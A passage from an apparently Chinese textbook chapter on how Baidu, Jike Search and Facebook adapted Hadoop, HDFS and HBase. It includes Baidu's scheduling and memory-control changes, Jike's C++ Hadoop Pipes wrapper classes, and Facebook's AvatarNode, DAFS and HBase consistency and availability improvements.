计算模型\n百度为了更好地用Hadoop进行数据处理，在以下几个方面做了改进和调整：\n（1）调整MapReduce策略\n限制作业处于运行状态的任务数；\n调整预测执行策略，控制预测执行量，一些任务不需要预测执行；\n根据节点内存状况进行调度；\n平衡中间结果输出，通过压缩处理减少I/O负担。\n（2）改进HDFS的效率和功能\n权限控制，在PB级数据量的集群上数据应该是共享的，这样分析起来比较容易，但是需要对权限进行限制；\n让分区与节点独立，这样，一个分区坏掉后节点上的其他分区还可以正常使用；\n修改DFSClient选取块副本位置的策略，增加功能使DFSClient选取块时跳过出错的DataNode；\n解决VFS（Virtual File System）的POSIX（Portable Operating System Interface of Unix）兼容性问题。\n（3）修改Speculative的执行策略\n采用速率倒数替代速率，防止数据分布不均时经常不能启动预测执行情况的发生；增加任务时必须达到某个百分比后才能启动预测执行的限制，解决Reduce运行等待Map数据的时间问题；\n只有一个Map或Reduce时，可以直接启动预测执行。\n（4）对资源使用控制\n对应用物理内存的控制。如果内存使用过多会导致操作系统跳过一些任务，百度通过修改Linux内核对进程使用的物理内存进行独立的限制，超过阈值可以终止进程。\n分组调度计算资源，实现存储共享、计算独立，在Hadoop中运行的进程是不可抢占的。\n在大块文件系统中，X86平台下一个页的大小是4K B。如果页较小，管理的数据就\n会很多，会增加数据操作代价并影响计算效率，因此需要提高页的大小。百度在使用Hadoop时也遇到了一些问题，主要有：\nMapReduce的效率问题：比如，如何在shuffle效率方面减少I/O次数以提高并行效率；如何在排序效率方面设置排序为可配置的，因为排序过程会浪费很多的计算资源，而一些情况下是不需要排序的。\nHDFS的效率和可靠性问题：如何提高随机访问效率，以及数据写入的实时性问题，如果Hadoop每写一条日志就在HDFS上储存一次，效率会很低。\n内存使用的问题：Reducer端的shuffle会频繁地使用内存，这里采用类似Linux的Buddy System来解决，保证Hadoop用最小的开销达到最高的利用率；当Java进程内容使用内存较多时，可以调整垃圾回收（GC）策略；有时存在大量的内存复制现象，这会消耗大量CPU资源，同时还会导致内存使用峰值极高，这时需要减少内存的复制。\n作业调度的问题：如何限制任务的Map和Reduce计算单元的数量，以确保重要计算可以有足够的计算单元；如何对TaskTracker进行分组控制，以限制作业执行的机器，同时还可以在用户提交任务时确定执行的分组并对分组进行认证。\n性能提升的问题：UserLogs cleanup在每次Task结束的时候都要查看一下日志决定是否清除，这会占用一定的任务资源，可以通过将清理线程从Java子进程移到TaskTracker来解决；Java子进程会对文本行进行切割而Map和Reduce进程则会重新切割，这将造成重复处理，这时需要关掉Java进程的切割功能；在排序的时候也可以实现并行排序提升性能；实现对数据的异步读写也可以提升性能。\n健壮性的问题：需要对Mapper和Reducer程序的内存消耗进行限制，这就要修改Linux内核，增加其限制进程的物理内存的功能，也可以通过多个Map程序共享一块内存，以一定的代价减少对物理内存的使用；还可以将DataNode和TaskTracker的UGI配置为普通用户并设置账号密码；或者让DataNode和TaskTracker分账号启动，确保HDFS数据的安全性，防止Tracker操作DataNode中的内容；在不能保证用户的每个程序都很健壮的情况下，有时需要将进程终止掉，但要保证父进程终止后子进程也被终止。\nStreaming局限性的问题：比如，只能处理文本数据，Mapper和Reducer按照文本行的协议通信，无法对二进制的数据进行简单处理。为了解决这个问题，百度新写了一个类Bistreaming（Binary Streaming），这里Java子进程Mapper和Reducer按照（KeyLen, Key, ValLen, Value）的方式通信，用户可以按照这个协议书写程序。\n用户认证的问题：这个问题的解决办法是使用户名、密码、所属组都在NameNode和JobTracker上集中维护，用户连接时需要提供用户名和密码，从而保证数据的安全性。百度下一步的工作重点主要涉及以下内容：\n内存方面，降低NameNode的内存使用并研究JVM的内存管理；\n调度方面，改进任务可以被抢占的情况，同时开发出自己的基于Capacity的作业调度器，让等待作业队列具有优先级且队列中的作业可以设置Capacity，并可以支持TaskTracker分组；\n压缩算法，选择较好的方法提高压缩比、减少存储容量，同时选取高效率的算法用于shuffle数据的压缩和解压；\n对Mapper程序和Reducer程序使用的资源进行控制，防止过度消耗资源导致机器死机。以前是通过修改Linux内核来进行控制的，现在考虑通过在Linux中引入Cgroup来对Mapper和Reducer使用的资源进行控制；\n将DataNode的并发数据读写方式由多线程改为select方式，来支持大规模并发读写和Hypertable的应用。\n百度同时也在使用Hypertable，它是以Google发布的BigTable为基础的开源分布式数据存储系统，百度将它作为分析用户行为的平台，同时在元数据集中化、内存占用优化、集群安全停机、故障自动回复等方面做了一些改进。\n19.4 即刻搜索中的Hadoop\n 19.4.1 即刻搜索简介\n即刻搜索是由运营一年的人民搜索改名而来，它秉承“创新、公正、权威”的理念，致力于成为大众探索求知的工具、工作生活的助手和文化交流的平台。相对于网络上百家争鸣的搜索引擎，即刻搜索区别于其他引擎的特点是：新颖的索引架构，先进的大规模并行处理系统，大规模应用的闪存技术和干净、便捷的网络搜索环境。即刻搜索在开发之初就用到了Hadoop和并行处理的思想，下面介绍即刻搜索中的Hadoop应用。\n19.4.2 即刻Hadoop应用架构\n图19-5是即刻搜索引擎的应用架构图。\n即刻搜索框架结构比较明了。下面我们对框架各个角色进行介绍。\n链接库：这是一个保存了网络中内外部链接的初始数据库，即刻搜索根据数据库中的链接进行网页的爬取。\n即刻爬虫：网络爬虫是搜索引擎中必不可少的部分，即刻爬虫根据链接库的内容，爬取网络中的页面资源，形成SSTable并输入HDFS中。SSTable是Google在BigTable设计中提出的一种磁盘文件存储结构，全称是Sorted String Table，以＜key, value＞对方式在磁盘上存储数据，并根据key的值进行排序，支持随机查找，有不俗的读写性能。\nHDFS_Bridge：这是即刻搜索的中间件，为网络爬虫提供写缓存服务，保证爬虫快速写操作。具体来说，通过HDFS_Bridge，爬虫生成的SSTable文件，首先以内存写的速度将数据写入HDFS_Bridge，然后由DFS直接将数据文件写出到DFS磁盘上，这样通过HDFS_Bridge就将SSTable数据的磁盘I/O转化成了内存写，提高了速度。\nHDFS：即刻搜索中保存SSTable的分布式文件系统，主要提供海量数据的存储服务，保证数据的安全性和读写服务的可靠性。\nMapReduce：这一层主要应用Hadoop中的MapReduce并行编程框架来对爬虫原始数据进行分析，包括PageRank计算、链接分析统计、倒排索引生成等，主要提高了搜索引擎中数据分析步骤的速度，实现了并行化处理。\nonline-service-cluster：这一层是面向用户的，主要根据用户输入的查询，分析关键词，通过并行框架查找相关结果并返回。\n图 19-5 即刻搜索架构图\n这里再重点介绍一下MapReduce层。在即刻搜索中，各种基础数据上的操作都是以C++语言编写、经过Hadoop Pipes的封装之后提交给Hadoop执行的，但是具体使用中即刻搜索也从代码层修改了Hadoop Pipes的协议等内容来适应自己的需求。在具体使用中，即刻搜索首先定义了MapReduce框架中的Mapper封装器和Reducer封装器，以Mapper封装器为例，其核心代码如下：\nWrapperclass BasicMapper{\npublic：\ntypedef：mapreduce：TaskContextTaskContext；\nexplicit BasicMapper（）{\nmap_context_.reset（new MapContext（））；\n}\nvirtual～BasicMapper（）{}\n//初始化操作\nvirtual void OnCreate（TaskContext*context）{}\n//定义Map阶段\nvirtual void OnFirstMap（MapContext*context）{}\nvirtual void OnLastMap（MapContext*context）{}\nvirtual void Map（MapContext*context）=0；\n……\nprotected：\n//获取输入value\nconst std：string＆GetInputValue（）{\nreturn map_context_-＞GetInputValue（）；\n}\n//获取输入key\nconst std：string＆GetInputkey（）{\nreturn map_context_-＞GetInputKey（）；\n}\n//反序列化\ntemplate＜typenameT＞\nboolValueToThrift（T*object）{\nreturn map_context_-＞ValueToThrift（object）；\n}\n……\nDISALLOW_COPY_AND_ASSIGN（BasicMapper）；\n}\n利用这些封装器作为基类，编写自己的MapReduce框架代码就非常方便。下面就是一个简单的例子：\nclass SampleMap：public BasicMapper{//Mapper\npublic：\nvirtual～SampleMap（）{}\nvirtual void Map（mapreduce：MapContext*context）\n{\nstring key=GetInputKey（）；\nstring value=GetInputValue（）；\nObject obj_val；\nValueToThrift（＆obj_val）；//反序列化\n……\ncontext-＞Emit（key, newvalue）；//输出\n}\n}；\nclass SampleRed：public BasicReducer{\npublic：\nvirtual void Reduce（mapreduce：MapContext*context）{\nstring key=GetInputKey（）；\nwhile（NextValue（））{\nstring value=GetInputValue（）；\n……\n}\ncontext-＞Emit（key, newvalue）；//输出\n}\n}；\n可以看出：上面的代码同用Java语言编写的代码非常类似。除了上面的主体Mapper和Reducer代码之外，再定义好其他作业信息就可以提交给Hadoop Pipes来运行了。\n19.4.3 即刻Hadoop应用分析\n前面简单介绍了即刻搜索的框架和在即刻搜索中如何开发自己的MapReduce程序。可以看出，即刻搜索在应用Hadoop时直接应用了Hadoop系统，在搜索引擎的数据存储模块直接使用Hadoop的数据存储服务，在任务执行和处理模块时直接使用MapReduce并行框架。虽然是直接使用，但是并不简单。作为独立的系统，Hadoop在应用到某个系统中时，需要将Hadoop各个模块根据自己系统的实际需求进行封装。在分布式存储模块，根据海量数据存储的需求，即刻搜索在HDFS的输入上由HDFS_Bridge进行封装。通过此封装。HDFS能为即刻搜索的网络爬虫提供写缓存，保证其海量数据的写入速度。在MapReduce框架模块，即刻搜索根据并行任务执行的需求，对MapReduce中的Mapper和Reducer进行了封装，简化了程序员代码书写难度。\n总体来说，即刻搜索在系统中根据自己的需求，封装了Hadoop中分布式文件系统和MapReduce并行框架的对外接口，提高了系统的处理效率和存储性能。\n19.5 Facebook中的Hadoop和HBase\n众所周知，Facebook是目前世界上最大的社交网站。从2004年创建之初的以服务学生为目的的局部交互网站发展到2009年世界范围内的综合社交网站，服务8亿多人群，而现在它已经剑指移动服务、搜索服务、网络直播等综合网络服务提供领域，旨在发展成为综合性网络服务商。\nFacebook作为全球性社交网站，拥有约8亿活跃用户，其每天产生的数据非常庞大。下面简单列举一些统计数据（截至2011年9月）：\n把Facebook用户群作为一个国家，它会成为世界人口第三大国家；\nFacebook用户在网站上已上传了1400亿余张照片；\n每天上网的人中有44%访问了Facebook，它是继Google之后访问率第二高的网站；\nFacebook用户每20分钟发表1200万条评论，每个月分享300亿条内容；\n上面这些统计数据背后都意味着Facebook面临着海量的数据存储。用户群的资料需要维护，用户分享的照片、发表的评论、分享的内容都需要存储，用户访问历史需要进行分析处理，同时还需要对原始数据进行提取、反馈给用户等。这些虽然并不简单，但在巨大用户群和使用率面前，都将成为典型的海量数据存储和处理任务。那么Facebook到底面临哪些海量数据的任务？它为什么使用Hadoop+HBase？它是否有所创新或者改进？下面将一一解答这些问题。\n 19.5.1 Facebook中的任务特点\nFacebook的巨大用户群和使用率为其带来了高效存储海量数据的挑战。下面我们从Facebook中一些关键性技术的任务特点出发，介绍Facebook在存储海量数据时必须满足的一些特性。\n1.Facebook消息机制\nFacebook的消息机制为每一个用户提供一个“facebook.com”的邮箱地址，它负责整合用户或组之间的邮件、SMS（Short Message Service）以及聊天记录。该机制是Facebook收件箱的基础，需要管理“消息从哪位用户发往哪位用户”。该新型应用程序不但需要能够适应同时为超过5亿用户提供服务，还需要达到PB级数据的吞吐以及长时间不间断运行的需求。除此之外，新的线程模型同样需要系统能够存储每一个参与用户的消息。每一个用户需要依附于某一个数据中心。\n这个机制的服务内容决定了它每天需要处理数十亿的即时消息及数百万的系统消息，而这些消息的特点又决定了该机制有如下特点：\n1）高写吞吐量：由于每时每刻都有成千上万消息产生，那么每天数据的插入量将会非常大，并且会持续性地增长。\n2）数据的增量存储：从该机制的特性不难发现，消息机制一般很少涉及删除操作，除非用户显式地发出该请求。此外，每一个用户的收件箱将可能无限量地增长。另外，对于每条消息记录，一般只会在近期被读有限的次数，从长远来讲很少再次查看。因此，大部分的数据不会再次被读到，但是由于存在用户访问的可能性，Facebook需要保证这部分数据一直处于可用状态。在据图存储这一类的数据，Facebook以用户为主键来建立索引，在索引之下存储该用户的线程和消息记录。\n3）数据迁移：由于消息机制进行更新，采用新的系统以及数据模型，这就意味着Facebook需要将数据从原数据库中进行分离并迁移到新的数据库中。那么支持大范围扫描、随机访问以及快速大数据块导入操作的系统将会大大减少用户数据迁移的时间。\n2.Facebook Insights\nFacebook Insights为开发者以及网站管理员提供了关于Facebook站点之间活动实时分析的接口，包括社会网络插件、Facebook页面以及Facebook广告。通过这些匿名化的数据，一些商业用户可以对Facebook的情况有深入的了解，例如印象（impression）、点击率、网页访问次数等。通过这些信息，商业用户可以对自己的服务进行改进。\n从这个技术的服务内容来看，Facebook Insights团队想要为用户提供短时间内用户活动的统计信息，也就是在海量统计信息上的实时数据分析。这将需要Facebook能够提供大规模的、异步排队的系统，并使用系统对事件进行处理、存储和聚合操作。该系统应具备较高的容错性，且支持每秒成千上万个事件的并发操作。\n3.Facebook度量系统\n在Facebook中，系统中的所有软硬件需要将自身的统计信息存储到ODS（Operations Data Store）中。例如，记录某一个服务器或某一组服务器中的CPU使用率；或者，存储对数据集群的写操作记录。这些操作将对写吞吐量有很高的要求。这要求系统应具备如下特点：\n1）自动分区：大量的索引以及时序写操作再加上不可预知的数据量的增长，这使得采用sharding模式的MySQL数据库难以应付，甚至需要管理人员人为地对数据进行分片。\n2）快速读取最近数据并执行表扫描：在Facebook很多的操作仅仅涉及最近的数据，对较早的数据访问较少，但是之前的数据也同样不能丢失，必须保证其处于可用状态。例如邮件服务、消息服务等。同时，这些操作还要求对最近的数据具有较快的查询速度。\n结合具体技术特点的介绍和社交网络网站共有的一些特点，Facebook中任务特点对存储系统的需求可以总结为如下几个方面：\n（1）灵活性\n由于用户的增加以及市场的拓展，Facebook要求存储系统能够支持对系统容量的增量扩充，并且要求该操作所带来的额外开销要最小化，同时应避免该操作所带来的停机问题。例如，在某些情况下，Facebook可能需要能够快速地增加系统的容量，并且要求系统能够自动地处理新旧硬件之间的负载均衡和利用率的问题。\n（2）高的写吞吐量\n在Facebook中有很多的应用程序需要存储大量的数据，而对读的需求相对要低。因此，Facebook对写操作有较高的要求。\n（3）高效低延迟的强一致性数据中心\n在Facebook中有很多非常重要的应用程序（如消息），它们对数据的一致性有很高的要求。例如，在用户主页上显示的“未读”消息数目需要与收件箱中实际的“未读”消息总数一致，然而实现一个全球化的分布式强一致性存储系统确实不可能，只有当数据位于同一个数据中心之内，提供强一致性的数据存储才变得稍有可能。\n（4）高效的磁盘随机读\n尽管应用程序级别的缓存（嵌入式或见解缓存）得到了广泛的应用和发展，在Facebook，仍然有很多的访问不能命中缓存中的数据，而必须访问后端的数据库系统。\n（5）高可用性\nFacebook需要为用户提供一种能够长时间不间断的服务，这些服务应该能够处理计划内的和计划外的事件（例如软件更新、硬件或容量扩充以及硬件故障）。此外，Facebook还需要能够容忍数据中心少量数据的丢失以及在某一可允许的时间范围内向其他数据中心进行数据备份。\n（6）容错性\nFacebook中对于长时间的MySQL数据库的运维经验显示故障隔离是非常重要的。如果某一个数据库发生故障，那么在Facebook中要求只有很少一部分用户会受到该事件的影响。\n（7）原子“读-修改-写”原语\n原子的增量以及比较和交换API在创建无锁并发应用程序中非常有用，同时也是底层存储系统必须支持的操作。\n（8）范围扫描\n某些应用程序需要支持某一范围内某些列集合的高效检索。例如，检索某一用户最近的100条消息记录或者计算某一给定广告商在过去24小时内每小时的印象（impression）数。\n同样Facebook中的任务也决定了它可以不强制要求下面几点：\n1）单个数据中心内的网络分区容错性。不同的系统组件往往本身就是非常集中化的。例如，MySQL服务器很可能会集中地被放置在几个机架之内。单个数据中心内的网络分区故障将可能导致整个服务能力上的故障。因此，需要通过设置冗余网络来避免单个分区故障引起的系统不可用。\n2）零故障率。从经验来看，大集群中机器故障是不可避免的。既然不存在这样的理想情况，那么必须对设计方案进行某种，也就是说，Facebook选择面对故障的机器并尽可能地降低宕机的概率。\n3）跨数据中心的active-active服务能力。如前所述，Facebook假设用户的数据被存储在不同数据中心。因此，Facebook使用用户端的缓存来降低系统的延迟。\n19.5.2 MySQL VS Hadoop+HBase\n面对Facebook中任务对存储系统的要求，Facebook如何选择呢？\n1.MySQL\nMySQL是比较流行的一款开源数据库，它轻巧简便。Facebook在最初使用MySQL+Memcached构建存储层，MySQL集群数据库作为底层存储，Memcached构建数据缓存层。这样既发挥了MySQL存储系统较高的随机读效率及其简单好用等特点，又通过Memcached缓存层在高访问量下提高了系统的访问效率。\n但是Facebook在发展过程中逐渐发现，MySQL在数据量剧增和新应用上线提供服务情况下并不能像之前那样完美地工作。主要是MySQL集群有以下问题：随机写操作效率低、可扩展性差、管理成本和硬件成本高、负载均衡并不理想等。而这些缺点恰巧正是Facebook中海量数据所带来的系统需求。所以目前Facebook已经放弃MySQL+Memcached构建的存储层，而转向了Hadoop+HBase。\n2.Hadoop+HBase\nFacebook在发展过程中发现MySQL构建的存储层并不能完全满足系统的需求后，就开始审视到底什么样架构的存储层能够最大程度上满足Facebook的需求。\n经过大量地研究和实验之后，Facebook最终选择使用Hadoop和HBase来作为下一代底层存储系统。这主要是基于：\n1）HBase的特点满足Facebook对存储系统的需求。HBase基于列存储分布式的开源数据库能满足系统海量数据存储的需求和高扩展性的需求，同时HBase能够保证高吞吐的写操作。它是一个能够实现快速随机和流读取操作的分布式存储系统。虽然不支持传统的跨行事务，但HBase面向列的存储模型在数据存储上提供了很高的灵活性并且支持表内的复杂索引。同时HBase对于写密集的事务是一个理想的选择，它能够维护大量的数据，支持复杂索引，具有灵活的伸缩性，它还能提供行级别的原子性保证。\n2）Facebook有信心解决HBase在现实使用中存在的问题。HBase现在已经能够提供高一致性、高写吞吐率的键值存储。现有的HDFS NameNode作为管理的中心可能成为系统的瓶颈。Facebook的HDFS团队决定构建一个高可用的NameNode（在Facebook中称为AvatarNode），这对于数据仓库操作也将非常有用。这样好的磁盘读效率就可以满足（向HBase的LSM树中添加Bloom filter，使本地DataNode能够高效地执行读操作并且缓存NameNode的metadata）。在系统故障和容错方面，HDFS能够在磁盘子系统中容忍和隔离故障。整个HBase/HDFS集群的故障是系统容错的一部分，可以考虑将数据迁移到较小的HBase集群中。HBase社区中对“复制”这块内容提供的是一个预定义的路径，用来解决灾难性的故障。\n所以整体来说，采用Hadoop+HBase的存储架构，并通过Facebook根据自己需求进行局部的优化和改进之后，这样的存储架构能够满足系统绝大部分需求，提供稳定、高效、安全的存储服务。\n19.5.3 Hadoop和HBase的实现\n前面介绍了Facebook中存储架构的设计需求和它为什么采用Hadoop和HBase来实现存储架构。这部分我们将为大家介绍Facebook如何实现对Hadoop和HBase的应用及进行哪些优化。\n1.实时HDFS\nHDFS作为Hadoop的分布式文件存储系统，用来支持MapReduce应用程序的操作。该文件系统具有可扩展性以及较好的流数据处理功能，并且具有较强的容错能力。Facebook通过对HDFS的修改和调整，使HDFS具有支持实时操作和在线服务的特性。\n（1）高可用性-AvatarNode\n在HDFS中，仅有一个唯一的Master，即NameNode。在这种架构下，当NameNode停止服务后系统将处于不可用状态。对于需要7×24小时服务的软件或系统来说，肯定希望能够获得更稳定的服务，因此这样的架构可能并不是十分理想。所以Facebook根据自己的需求对原来的NameNode进行了一部分扩展，称为AvatarNode，来保证其可用性。\nAvatarNode\n在原生Hadoop的启动阶段，HDFS的NameNode首先从fsimage文件中读取文件系统的metadata信息。这个metadata信息存储了HDFS中每一个文件的名称、目录以及meta信息。然而，NameNode并不是永久地存储每一个块的位置。因此，当发生故障后，NameNode的重新启动将包含了两个阶段：第一阶段是读取文件系统镜像，导入事务日志，将新的文件系统镜像存储回磁盘；第二阶段是DataNode通过对块的处理向NameNode报告未知块的存储位置信息。Facebook中最大的HDFS集群存储了大约一亿五千万的文件，这两个阶段的操作将需要大约45分钟的时间。\n如果在原生Hadoop的基础上采用备份节点的话，那么在发生故障时可以避免从磁盘中读取镜像文件，但是仍然需要从所有的DataNode中收集块的信息，这需要20分钟左右的时间。另一个问题是，当采用备份节点的时候，NameNode需要同步地更新备份节点所存储的数据，这样系统的可靠性（一致性）将低于单个NameNode节点的可靠性。因此，AvatarNode应运而生。\n如图19-6所示，一个HDFS集群包含两个AvatarNode：主AvatarNode和备用AvatarNode（同一时间只有一个Node处于活跃状态）。主AvatarNode实际上等同于HDFS的NameNode，不同的是HDFS集群将文件系统的镜像和事务日志的备份存储在NFS中。每当主AvatarNode更新了存储在NFS文件系统中的日志之后，备用AvatarNode节点同时读取该更新，然后将更新的事务应用在自己的文件系统镜像以及日志上。备用AvatarNode节点负责生成主AvatarNode的check-point，需要定期合并事务日志并创建fsimage。因此，在该系统中将不再设置Secondary NameNode。\n图 19-6 AvatarNode\n在集群中，DataNode不仅仅与主AvatarNode进行通信，同时还与备用AvatarNode进行通信（发送心跳、块报告和块分配信息），这样当发生故障时，备用AvatarNode可以马上变为主动AvatarNode，之后启动的原AvatarNode将成为新的备用AvatarNode。集群中的Avatar DataNode也同时与两个AvatarNode进行通信，他们通过与ZooKeeper的整合来识别哪一个AvatarNode是当前的主AvatarNode。此外，Avatar的DataNode仅仅处理来自主AvatarNode的备份/删除等命令。\n对HDFS日志文件的改进\n当块文件被关闭或者被同步/写出的时候，HDFS会将块对应的ID存储到事务日志中。由于想尽量减少故障恢复的时间，那么备份AvatarNode需要知晓每一个块的位置。因此Facebook选择同时将块分配操作写入到日志中。\n另外，当备份AvatarNode从事务日志中读取日志的时候（此时，主AvatarNode正在写该日志文件），那么备份AvatarNode将有可能只读取到部分的事务（非完整的，将有可能导致系统故障）。为了避免这种情况的发生，Facebook修改了事务日志的格式，使其包含了写入该事务的长度，事务的ID以及事务的校验和。\n分布式Avatar文件系统（DAFS）\nFacebook将修改后的HDFS命名为分布式Avatar文件系统（Distributed Avatar File System, DAFS），它是一个部署在客户端的分层文件系统，能够提供一个对HDFS的跨故障透明访问。DAFS与ZooKeeper整合在一起。ZooKeeper在某一ZNode上保存了某一集群主AvatarNode节点的物理地址，当客户端尝试与HDFS集群（例如，dfs.cluster.com）进行连接的时候，DAFS将查看ZooKeeper中保存了实际主AvatarNode物理路径的ZNode，然后将之后到来的连接重定位到该主AvatarNode上。如果由于网络环境问题使路径不可达，那么DAFS将从ZooKeeper中进行重新检索。如果在刺激前发生故障恢复事件，DAFS将一直阻塞，直到恢复完成。DAFS对于访问HDFS的应用程序来说是完全透明的，即这些应用程序不知道有DAFS的存在。\n（2）Hadoop RPC兼容性问题\n在Facebook中需要为消息应用程序运行不同的Hadoop集群。因此，就需要系统能够一次性地在不同的集群中部署新版的软件。这就需要Hadoop的客户端能够与运行不同版本Hadoop软件的服务器进行交互操作。Facebook对Hadoop的RPC软件进行修改使其能够自动地识别所处服务器的软件版本，然后选择合适的协议与之通信。\n（3）块放置策略\n默认的HDFS放置策略对块的放置位置有很少的限制，对于非本地的副本，块一般随机存放在任意机架的任意节点中。为了降低多个节点同时宕机时数据丢失的概率，Facebook设计了一个可插拔式块放置策略。它将块副本放置在较小的且可配置的一组节点中。通过实验，DAFS使数据丢失概率降低了100倍。\n（4）实时作业性能提升\nHDFS是一个高吞吐量的系统，然而对于响应时间却并不十分理想。例如，当应对故障时，它更倾向于“重试”或“等到”，而不是对错误进行处理。\nRPC超时：Hadoop使用TCP连接来发送RPC调用。当RPC客户端侦测到RPC连接超时时，Facebook并不是马上将连接断开，而是首先向服务器发送一个ping，如果服务器仍旧有效，那么客户端将等待服务器的响应而不断开连接。因为，在这种情况下服务器很可能处于繁忙状态，断开重连要么导致失败要么给服务器增加额外的负担。\n然而一直等待服务器的响应将陷入另一个极端。那么在Facebook中为RPC链接设置一个超时时间，当超时之后，客户端尝试向集群的其它DataNode发起连接。\n备份文件契约（Lease）机制：另一个改进是快速撤回写者所持有的契约。HDFS仅支持单个写者对文件的写操作，NameNode通过下放契约来控制对文件的写操作。然后在某些情况下当需要对文件进行读的时候，读操作可能与对文件的写操作进行冲突。在之前，后续的操作通过向日志文件添加等待信息来触发文件的“软契约”过期，从而获得该文件的契约。文件的“软契约”相比契约较短，默认值为1分钟，该契约是为了应对这种冲突的发生。然而，这种机制依赖于管道，当发生故障时重建管道的时间过长，对系统性能影响较大。\n为了克服这种问题，Facebook设计了一种轻量级的API：recoverLease，它能够显式地撤销文件的契约。当NameNode接收到recoverLease请求时，它马上撤回文件的契约，然后进行契约恢复处理。当契约恢复操作完成之后，请求方可以获得文件的契约。\n读取本地副本：HDFS虽然增强了数据存储系统的可扩展性和性能，然而往往带来的是写操作和读操作的延迟。因此，Facebook在其中加入了地点侦测机制，若客户端发现数据处于本地节点中，那么它将优先从本地节点读取数据。\n（5）系统新特性\nHDFS同步操作：Hflush/sync对于HBase和Scribe来说同样重要，该机制首先将数据缓存在本地，然后将数据写入管道。在数据被完全接收之前，该数据在本地将一直有效，用户可以直接从本地读取到数据的信息。另外，该机制允许后续的操作不必等待操作的完成，在他们看来Hflush/sync完全是透明的。\n并发读者：在Facebook中某种应用程序需要对正在写的文件执行读操作。此时，读者需要首先与NameNode进行通信来获取文件的meta信息。由于此时NameNode并没有文件的最新块信息，读者需要与文件某一副本所在DataNode进行通信来获取文件的快信息，然后再对文件执行读操作。\n2.HBase的实现\n上面介绍了Facebook对Hadoop的一些修改和优化，下面介绍它在实际使用HBase时进行的修改。\n（1）数据库ACID特性\n一些应用程序开发者总是希望新型数据库系统能够保持原有的ACID特性，Facebook同样对HBase系统进行了改进，使其尽量满足ACID特性。首先，Facebook采用类MVCC的读写一致性控制策略（Read-Write Consistency Control, RWCC）来为系统提供隔离性的保证，并且采用“先写日志”的方法来保证数据的持久性。下面将介绍Facebook是如何对系统进行改进，使其满足原子性和一致性。\n首先，系统设计的第一步是要保证数据库系统行级别的原子性。RWCC在大多数情况下可以提供有效的保证。然而，当节点发生故障的时候该保障将可能失效。例如，在最初的时候，系统的日志是顺序存入HLog文件中的。如果在执行日志写操作期间，RegionServer发生故障，那么将可能只有部分日志被写入。Facebook重新设计了HLog，命名为WALEdit，它能够保证写事务要么全部执行要么全部不执行。\nHDFS为数据提供了副本，因此需要采用一定的策略来保证系统的一致性。在Facebook中，它们使用管道的机制，当有新数据更新到来的时候，NameNode首先为不同的数据副本创建管道，当所有的副本更新完成之后，副本需要向NameNode发送ACK确认。在此期间，HBase将会一直等待，直到所有的操作完成。假如期间有某一个副本写操作失败，HBase将控制系统参考日志进行回滚操作。另外，Facebook还采用一定机制保证数据不被破坏，在数据读取时，HBase首先检查数据的校验和，当校验和错误，系统将自动删除该份数据，然后检查其他副本。\n（2）HBase可用性改进\n由于HBase中很多重要信息保存在HBase的Master中，而HBase Master只有一个，当发生故障时将有数据丢失的可能性。为了尽量避免这种情况的发生，Facebook转而将数据存储在ZooKeeper中，因为ZooKeeper采用的是一个“大多数”的策略，数据将被存储在多个节点当中。当某一个节点发生故障时，用户仍旧能从其它节点获取数据。\nFacebook指出，HBase集群的停机问题往往是由节点的随机性宕机引起的，并不是由于系统的日常维护工作。因此Facebook通过对系统的改进来尽量缩短停机的时间。例如，某一节点在发起停机请求之后会间歇性地发生停机事件，这是由于较长的数据压缩周期造成的。因此Facebook将压缩设置为可中断性操作，这样能够将停机时间缩短到秒的级别。\n另外一个问题是软件的更新。为了应对软件的更新，HBase需要将集群“停机”，然后再更新之后进行“重新启动”。为了处理这个问题，Facebook选择采用轮询的方式对集群节点进行更新。例如，首先对某一台机器进行更新，当这一台机器更新完成之后，系统转而对下一台进行更新，周而复始，直到全部系统更新完成。\n在HBase中，当某一个RegionServer发生故障时，处于该机器的HLog需要被重新分配到集群其余有效的节点上。在之前该操作由HMaster来完成，但是由于一个节点上可能保存了大量的HLog，该操作将花费很长的时间。在Facebook中，他们采用ZooKeeper集群来负责HLog的划分，这使得该操作的时间降低了很多倍。\n（3）HBase性能提升\n对于HBase的写操作，Facebook通过缓存机制将对数据库的多次写减少到更少次数地写。当数据到来的时候，数据首先被写入提交日志，然后并非直接写入数据库而是首先写入到缓存系统MemStore中。当缓存系统容量到达阈值之后，缓存将数据写入HFile中，HFile是不变型HDFS文件（不被更改）。数据的更新采用的是附加的方式，即继续写HFile文件，而并非对HFile文件进行修改。当需要读取数据的时候，HBase控制系统并行读取HFile文件并抽取相关记录进行整合。当一定时间之后，HBase对HFile进行压缩、合并操作，以避免后续读操作带来的延迟。\n众所周知，系统中文件数目的多少对系统的读操作以及网络IO都有很大的影响，因此在系统中定期对文件进行压缩是非常有必要的。HBase中的压缩分为两种类型：次要的和主要的。次要的压缩操作仅仅选择部分文件进行压缩。主要的压缩不但对所有的文件进行压缩，并且在必要情况下对系统执行删除、重写以及清除过期数据等操作。在这种情况下，次要压缩产生的效果并不理想，并且生成的HFile文件可能更大，这种文件不但会对块缓存系统的性能产生影响，也会对今后的进一步压缩产生影响。因此在Facebook中对压缩块的大小进行限制，从而避免大数据块的产生。此外，Facebook还对HBase原有的压缩算法进行了改写，避免额外的操作。\n对于读操作来说，某一个Region中文件数目的多少对其有很大的影响，在之前的介绍中可以知道，通过对数据的压缩可以大大减少文件的数目。另外Facebook可以通过某些技术来加快文件的搜索，跳过不必要的文件。例如：Bloom Filter和时间戳策略。Bloon Filter记录的是HFile文件特定统计信息，由于Region中文件数目相当多，因此Facebook中通过使用折叠技术（folding），进一步降低Bloom Filter的大小。这样讲Bloom Filter存储到内存之中，从而加快文件的检索。另外通过对时间戳的比对，同样可以加快文件的检索速度。\n3.展望\n虽然Facebook修改后的Hadoop和HBase存储架构很大程度上满足了其对存储架构的设计需求，但展望未来，Facebook还提出了未来这个存储架构完善的几个方面：\n1）对Hadoop和HBase应用迭代的优化；\n2）对HBase二级索引和视图摘要的支持，以及对这些特性的异步维护；\n3）HBase内存管理和扩充，可通过slab或者JNI进行内存管理，通过flash memory来扩展HBase cache；\n4）解决HBase多数据中心replication和冲突问题。\n19.6 